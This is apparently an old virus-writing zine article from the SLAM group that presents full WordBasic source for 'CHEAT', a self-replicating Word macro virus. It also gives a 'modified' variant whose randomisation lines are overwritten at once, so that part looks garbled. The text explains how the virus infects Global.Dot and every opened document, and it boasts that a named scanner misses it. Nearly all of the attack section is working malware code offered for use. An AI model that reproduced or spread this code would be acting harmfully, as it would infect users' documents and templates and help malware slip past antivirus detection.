Copy Link
Add to Bookmark
Report
SLAM3.017: CHEAT, one of the smallest Word.Macro viruses by AuroDreph [SLAM]
--------------------------------------------
One of the smallest Word.Macro virus CHEAT
,
By <****{=============-
' AuRoDrEpH, the Drow
--------------------------------------------
After the Q virus by NJ, i found a very short virus only 6 lines but he makes a good job...
The first time you open the document, the virus infected the Global.Dot.. Then each time, you open a file he infects the document...
And this virus isn't detected with the last version of F-MACRO 2.08 :-)
Here is the source :
Sub MAIN
On Error Resume Next
A$ = "Global:AutoOpen"
Z$ = FileName$() + ":AutoOpen"
If A$ = Z$ Then
Beep
Else MacroCopy A$, Z$, 1 ' infect a file from the GLOBAL.DOT
If A$ = Z$ Then
Beep
Else MacroCopy Z$, A$, 1 ' infect the GLOBAL.DOT from the file
If A$ = Z$ Then
Beep
Else FileSaveAs .Format = 1
End Sub
Here is a version modified by myself. I add to the virus a little random capacity :-)
Sub Main
On error resume next
char1$ = Chr$(Int(Rnd() * (90 - 65) + 65))
char2$ = Chr$(Int(Rnd() * (90 - 65) + 65))
char1$ = "Global:AutoOpen"
char2$ = FileName$() + ":AutoOpen"
If char1$ <> char2$ Then MacroCopy char1$, char2$, 1
If char1$ <> char2$ Then MacroCopy char1$, char2$, 1
If char1$ <> char2$ Then FileSaveAs .Format = 1
endif
End Sub